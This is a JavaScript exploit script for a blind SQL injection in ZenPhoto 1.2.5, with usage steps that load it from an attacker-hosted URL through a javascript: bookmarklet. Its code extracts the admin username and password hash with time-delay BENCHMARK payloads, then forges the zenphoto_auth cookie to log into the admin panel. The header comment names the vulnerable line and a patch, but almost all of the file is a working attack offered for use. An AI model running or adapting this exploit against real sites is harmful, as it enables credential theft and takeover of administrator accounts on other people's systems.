/*
 * ZenPhoto 1.2.5 Completly Blind SQL Injection Exploit
 * Requirements: magic_quotes = ANY (zenpage disables it anyway), ZenPage needs to be activated and have at least one news category
 * 
 * What does this exploit let you do:
 * The precoded functions I provided will allow you to extract the username and password hash of the admin from the database.
 * It will also let you login to the admin panel w/o actually knowing the plain text password (only the username and hash are required)
 * 
 * How To Use:
 * 1) upload this script to http://attacker/exploit.js
 * 2) open a vulnerable category in your webbrowser (Example: http://victim/zenphoto/news/category/anycategorynamehere)
 * 3) Enter the following code into your address bar:
 * javascript:(function(){var url = "http://attacker/exploit.js"; var evil = document.createElement('script'); evil.src = url; document.body.appendChild(evil);})();
 * 4) Press enter and wait for the exploit console to show
 * 5) You may now extract the username/password hash from the database (buggy  :(  )
 * 6) Use the username/password hash with the Login Emulation tool to login to the admin panel
 * 7) Have fun  :) 
 * 
 * WARNING: THIS IS BUGGY! You might not get the hash/username correct the first time. Play with the settings below to tweak it so it works better for you
 * 
 * Why this works:
 * The sanitize function doesn't escape single quotes...
 * 
 * Vulnerable Code (index.php):
 * 95: $catname = sanitize($_GET['category']);
 * 96: query("UPDATE ".prefix('zenpage_news_categories')." SET `hitcounter` = `hitcounter`+1 WHERE `cat_link` = '".$catname."'",true);
 *
 * Patch:
 * 95: $catname = mysql_real_escape_string($_GET['category']);
 * 
 * Example Exploitation:
 * /zenphoto/news/category/cat1' and hitcounter = (SELECT IF(SUBSTRING(password,1 ,1) = 'A',BENCHMARK(5000000,ENCODE('this will probably','waste some time')),null) FROM zp_administrators) and '1' = '1
 *
 * This payload will delay the page from loading for about 5 seconds if the first letter of the password hash is 'A'
 * 
 * The time detection isn't perfect and was pretty much slapped together. Make sure you try editing the variables below or
 * make your own injector :P
 * 
 * Discovered and Coded by petros@dusecurity.com
 * Shoutz to xplorer and the rest of the DuSec Team
 */


// Change this if you are having problems with the injection
var patience = .8; // Time in seconds on how patient we are. Will be substracted from the benchmark time
var max_retries = 3; // maximum retries after failed HTTP request
var charset_hash = "0123456789abcdef".split(''); // charset for the password hash
var charset_username = "abcdefghiklmnopqrstuvqxzy0123456789ABCEDFGHIJKLMNOPQRSTUVWXYZ ._".split(''); // charset for the username
var username_max = 64; // max length of the username
var hash_max = 32; // max length of password hash (its md5..i wouldnt change this)
var benchmark_code = "BENCHMARK(5850000,ENCODE('this will probably','waste some time'))"; // code used to slow down requests if the query is true
var show_timing = false; // whether or not to show the timings of each request (good for debugging)
var delay = 1500; // delay in miliseconds between request
var err_delay = 1000; //delay in miliseconds to wait after an error


// Dont edit below this line
var display = false;
var display_loot = false;
var loot = false;
var loot_username = false;
var loot_password = false;

function get(page) // returns how long it took to send/receive the request...
{
  var xhr = window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
  
  xhr.open('GET', page, false); // keep it syncronized..
    xhr.setRequestHeader( "If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT" ); // cache..
  var seconds = getTime();
  xhr.send(null);
  seconds = getTime() - seconds;
  var success = (xhr.readyState == 4 && xhr.status == 200);
  xhr = null; // dispose
  return { 'miliseconds': seconds, 'seconds': seconds / 1000, 'success': success };
  
}
function getTime()
{
  return Math.round(new Date().getTime());
}
function createDisplay() // create the display div
{
  var div = document.createElement("DIV");
  div.style.backgroundColor = '#C3FFB9';
  div.style.border = '2px dashed green';
  div.style.margin = '3px';
  div.style.paddingLeft = '10px';
  div.style.paddingBottom = '10px';
  
  div.innerHTML = '<h2>ZenPhoto Blind Injection -- petros@dusecurity</h2><p><br /></p>';
  display = document.createElement("P");
  
  document.body.insertBefore(div, document.body.childNodes[0]);
  div.appendChild(display);
}

function write(text)
{
  display.innerHTML += text + "<br />";
}

function setDisplay(text)
{
  display.innerHTML = text;
}

function clearDisplay()
{
  display.innerHTML = '';
}
function getPath()
{
  return window.location.pathname;
}

function showMenu()
{
  clearDisplay();
  write('What you like to do?');
  var ul = document.createElement('OL'); // changed to OL so they know to do it in steps
  createListItem('Extract Admin Username', 'extractusername();',ul);
  createListItem('Extract Admin Password','extractpassword();',ul);
  createListItem('Login to Admin using Hash', 'adminlogin();', ul);
  display.appendChild(ul);
}
var un;
var pw;
function adminlogin()
{
  clearDisplay();
  write("Admin Login Emulator: ");
  un = createTextbox('Username: ', (loot_username) ? loot_username : '[Enter Username]');
  pw = createTextbox('Password: ', (loot_password) ? loot_password: '[Enter Hash]');
  createButton('Pwn!', "step2();");
  write('<br /><a href="javascript:showMenu();">Back To Menu</a>');

}
function step2()
{
    var username = un.value;
    var password = pw.value;
    var auth =MD5(username + password);
    SetCookie('zenphoto_auth', MD5(username + password), 30);
    clearDisplay();
    write("Generated auth cookie: zenphoto_auth=" + auth);
    write("You are now logged in with admin privileges :)");
    write('<a href="../../zp-core/admin.php">Enter Admin Panel</a>');
    write('<br /><a href="javascript:showMenu();">Back To Menu</a>');

}
function createTextbox(label, value)
{
  display.innerHTML += "<strong>" + label + "</strong>";
  var tb = document.createElement('input');
  tb.type = 'text';
  tb.value = value;
  display.appendChild(tb);
  write('');
  return tb;
  
}
function createButton(text, click)
{
  write("<BUTTON onclick=\"" + click + "\">" + text + "</BUTTON>");
  
}
function addEvent(elem, type, handle)
{
  if (elem.addEventListener)
      elem.addEventListener(type, handle, false);
  else if (elem.attachEvent)
      elem.attachEvent("on" + type, handle);
}
// borrowed function
function SetCookie(cookieName,cookieValue,nDays) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
                 + ";expires="+expire.toGMTString() + ";path=../../";
}

function extractusername()
{
  clearDisplay();
  var path = getPath();
  var basetime = 0;
  var benchmark = 0;
  var diff = 0;
  var offset = 0;
  var charset_len = charset_username.length;
  var resp = false;
  loot = '';
  display_loot = false;
  write("Extracting username..");
  write("Using path: " + path);
  
  resp = get(path);
  if(!resp.success) { write("Failed to request page."); return; }
  basetime = resp.miliseconds;
  write("Normal request time set to " + basetime + " milisecond(s)");
  resp = get(path + "' and hitcounter = (SELECT IF('1' = '1',"+benchmark_code+",null)) and '1' = '1");
  benchmark = resp.miliseconds;
  diff = benchmark - basetime;
  if(diff <= (patience * 1000)){ alert("Error calculating request difference! Try again later."); showMenu();}
  write("Benchmark request time set to " + benchmark + " milisecond(s)");
  if(benchmark <= (basetime + (patience * 1000))){ write("Error: Benchmark took less time than expected. Script might be patched or magic_quotes may be enabled. Make sure you are NOT logged in a try again."); return;}
  write("Username: <div id=\"loot\"></div>");
  display_loot = document.getElementById('loot');
  var retries = 0;
  var min = diff - (patience * 1000);
  var best_match = 0;
  var best = '';
  if(min < 0) { write("Error: Benchmark took less time than expected. Please try again later."); return;}
  function readNextChar()
  {
    var c = charset_username[offset];
    display_loot.innerHTML = '';
    display_loot.innerHTML += loot + c;
    
    resp = get(path + "' and hitcounter = (SELECT IF(SUBSTRING(user,"+ (loot.length + 1)+" ,1) = '"+ c +"',"+ benchmark_code+",null) FROM zp_administrators LIMIT 0,1) and '1' = '1");
    if(!resp.success) { ++retries; if(retries >= max_retries) { write("failed to execute exploit (too many errors)"); return;} setTimeout(readNextChar, err_delay); return;}
    retries = 0; //reset error counter
    var took = resp.miliseconds - basetime; //difference
  
    if(took > 0 && best_match < took) {best_match = took; best = c;}
    if(show_timing)
      write(loot.length + 1 + "> "+ 'char= ' + c + ', took= ' + took + ', min= ' + min);
    if(took >=  min)
    {
      loot += c;
      if(show_timing)
      write("got \"" + loot + "\" so far...");
      display_loot.innerHTML = '';
      display_loot.innerHTML += loot;
      best = '';
      best_match = 0;
      offset = 0;
    }
    else
      offset++;
      
    if(loot.length >= username_max)
    {
      display_loot.innerHTML = ''; display_loot += loot;
      loot_username = loot;
      write('<a href="javascript:showMenu();">Back To Menu</a>');
      alert("Admin Username is \"" + loot + "\"\r\n(reached max length)");
      return;
    }
    if(offset < charset_len)
      setTimeout(readNextChar, delay);
    else
    {
      if(loot.length < username_max)
      {
        write("best match: " + best_match); 
        function beAnAsshole(){
        loot +=  best;
        best = ''; best_match = 0;
        display_loot.innerHTML = '';
        display_loot.innerHTML += loot;
        offset = 0;
        setTimeout(readNextChar, delay);
        return;}
      }
      display_loot.innerHTML = '';
      display_loot.innerHTML += loot;
      loot_username = loot;
      write('<a href="javascript:showMenu();">Back To Menu</a>');
      
      alert("Admin Username is \"" + loot + "\"");
    }
  }
    readNextChar();
  }

function extractpassword()
{
  clearDisplay();
  var path = getPath();
  var basetime = 0;
  var benchmark = 0;
  var diff = 0;
  var offset = 0;
  var charset_len = charset_hash.length;
  var resp = false;
  loot = '';
  display_loot = false;
  write("Extracting password..");
  write("Using path: " + path);
  
  resp = get(path);
  if(!resp.success) { write("Failed to request page."); return; }
  basetime = resp.miliseconds;
  write("Normal request time set to " + basetime + " milisecond(s)");
  resp = get(path + "' and hitcounter = (SELECT IF('1' = '1',"+benchmark_code+",null)) and '1' = '1");
  benchmark = resp.miliseconds;
  write("Benchmark request time set to " + benchmark + " milisecond(s)");
  if(benchmark <= (basetime + (patience * 1000))){ write("Error: Benchmark took less time than expected. Script might be patched or magic_quotes may be enabled. Make sure you are NOT logged in a try again."); return;}
  write("Password: <div id=\"loot\"></div>");
  display_loot = document.getElementById('loot');
  var retries = 0;
  diff = benchmark - basetime;
  if(diff <= 0) { alert("Failed to determine difference. Try again later"); showMenu(); return;}
  var min = diff- (patience * 1000);
  var best_match = 0;
  var best = '';
  if(min < 0) { write("Error: Benchmark took less time than expected. Please try again later."); return;}
  function readNextChar()
  {
    var c = charset_hash[offset];
    display_loot.innerHTML = '';
    display_loot.innerHTML += loot + c;
    
    resp = get(path + "' and hitcounter = (SELECT IF(SUBSTRING(password,"+ (loot.length + 1)+" ,1) = '"+ c +"',"+ benchmark_code+",null) FROM zp_administrators LIMIT 0,1) and '1' = '1");
    if(!resp.success) { ++retries; if(retries >= max_retries) { write("failed to execute exploit (too many errors)"); return;} setTimeout(readNextChar, err_delay); return;}
    var took = resp.miliseconds - basetime;
    retries = 0;
    if(took > 0 && took > best_match) {best_match = took; best = c;}
    if(show_timing)
      write(loot.length + "> "+ 'char= ' + c + ', took= ' + took + ', min= ' + min);
    if(took >=  min)
    {
      loot += c;
      display_loot.innerHTML = '';
      display_loot.innerHTML += loot;
      offset = 0;
      best = ''; best_match = 0;
    }
    else
      offset++;
    if(loot.length >= hash_max)
    {
      display_loot.innerHTML = ''; display_loot += loot;
      loot_password = loot;
      write('<a href="javascript:showMenu();">Back To Menu</a>');
      alert("Admin Password Hash is \"" + loot + "\"\r\n(reached max length)");
      return;
    }
    if(offset < charset_len)
      setTimeout(readNextChar, delay);
    else
    {
      if(loot.length < hash_max)
      {
        loot +=  best;
        best = ''; best_match = 0;
        display_loot.innerHTML = '';
        display_loot.innerHTML += loot;
        offset = 0;
        setTimeout(readNextChar, delay);
        return;
      }
      display_loot.innerHTML = '';
      display_loot.innerHTML += loot;
      loot_password = loot;
      write('<a href="javascript:showMenu();">Back To Menu</a>');
      alert("Admin Password Hash is \"" + loot + "\"");
    }
  }
    readNextChar();
  }


function createListItem(label, onclick, list)
{
  var li = document.createElement("LI");
  li.innerHTML = '<a href="javascript:' + onclick + '">' + label + "</a>";
  list.appendChild(li);

}

createDisplay();
showMenu();


/**
*
*  MD5 (Message-Digest Algorithm)
*  http://www.webtoolkit.info/
*
**/
 
var MD5 = function (string) {
 
  function RotateLeft(lValue, iShiftBits) {
    return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));
  }
 
  function AddUnsigned(lX,lY) {
    var lX4,lY4,lX8,lY8,lResult;
    lX8 = (lX & 0x80000000);
    lY8 = (lY & 0x80000000);
    lX4 = (lX & 0x40000000);
    lY4 = (lY & 0x40000000);
    lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
    if (lX4 & lY4) {
      return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
    }
    if (lX4 | lY4) {
      if (lResult & 0x40000000) {
        return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
      } else {
        return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
      }
    } else {
      return (lResult ^ lX8 ^ lY8);
    }
   }
 
   function F(x,y,z) { return (x & y) | ((~x) & z); }
   function G(x,y,z) { return (x & z) | (y & (~z)); }
   function H(x,y,z) { return (x ^ y ^ z); }
  function I(x,y,z) { return (y ^ (x | (~z))); }
 
  function FF(a,b,c,d,x,s,ac) {
    a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
    return AddUnsigned(RotateLeft(a, s), b);
  };
 
  function GG(a,b,c,d,x,s,ac) {
    a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
    return AddUnsigned(RotateLeft(a, s), b);
  };
 
  function HH(a,b,c,d,x,s,ac) {
    a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
    return AddUnsigned(RotateLeft(a, s), b);
  };
 
  function II(a,b,c,d,x,s,ac) {
    a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
    return AddUnsigned(RotateLeft(a, s), b);
  };
 
  function ConvertToWordArray(string) {
    var lWordCount;
    var lMessageLength = string.length;
    var lNumberOfWords_temp1=lMessageLength + 8;
    var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
    var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
    var lWordArray=Array(lNumberOfWords-1);
    var lBytePosition = 0;
    var lByteCount = 0;
    while ( lByteCount < lMessageLength ) {
      lWordCount = (lByteCount-(lByteCount % 4))/4;
      lBytePosition = (lByteCount % 4)*8;
      lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount)<<lBytePosition));
      lByteCount++;
    }
    lWordCount = (lByteCount-(lByteCount % 4))/4;
    lBytePosition = (lByteCount % 4)*8;
    lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
    lWordArray[lNumberOfWords-2] = lMessageLength<<3;
    lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
    return lWordArray;
  };
 
  function WordToHex(lValue) {
    var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
    for (lCount = 0;lCount<=3;lCount++) {
      lByte = (lValue>>>(lCount*8)) & 255;
      WordToHexValue_temp = "0" + lByte.toString(16);
      WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
    }
    return WordToHexValue;
  };
 
  function Utf8Encode(string) {
    string = string.replace(/\r\n/g,"\n");
    var utftext = "";
 
    for (var n = 0; n < string.length; n++) {
 
      var c = string.charCodeAt(n);
 
      if (c < 128) {
        utftext += String.fromCharCode(c);
      }
      else if((c > 127) && (c < 2048)) {
        utftext += String.fromCharCode((c >> 6) | 192);
        utftext += String.fromCharCode((c & 63) | 128);
      }
      else {
        utftext += String.fromCharCode((c >> 12) | 224);
        utftext += String.fromCharCode(((c >> 6) & 63) | 128);
        utftext += String.fromCharCode((c & 63) | 128);
      }
 
    }
 
    return utftext;
  };
 
  var x=Array();
  var k,AA,BB,CC,DD,a,b,c,d;
  var S11=7, S12=12, S13=17, S14=22;
  var S21=5, S22=9 , S23=14, S24=20;
  var S31=4, S32=11, S33=16, S34=23;
  var S41=6, S42=10, S43=15, S44=21;
 
  string = Utf8Encode(string);
 
  x = ConvertToWordArray(string);
 
  a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
 
  for (k=0;k<x.length;k+=16) {
    AA=a; BB=b; CC=c; DD=d;
    a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
    d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
    c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
    b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
    a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
    d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
    c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
    b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
    a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
    d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
    c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
    b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
    a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
    d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
    c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
    b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
    a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
    d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
    c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
    b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
    a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
    d=GG(d,a,b,c,x[k+10],S22,0x2441453);
    c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
    b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
    a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
    d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
    c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
    b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
    a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
    d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
    c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
    b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
    a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
    d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
    c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
    b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
    a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
    d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
    c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
    b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
    a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
    d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
    c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
    b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
    a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
    d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
    c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
    b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
    a=II(a,b,c,d,x[k+0], S41,0xF4292244);
    d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
    c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
    b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
    a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
    d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
    c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
    b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
    a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
    d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
    c=II(c,d,a,b,x[k+6], S43,0xA3014314);
    b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
    a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
    d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
    c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
    b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
    a=AddUnsigned(a,AA);
    b=AddUnsigned(b,BB);
    c=AddUnsigned(c,CC);
    d=AddUnsigned(d,DD);
  }
 
  var temp = WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);
 
  return temp.toLowerCase();
}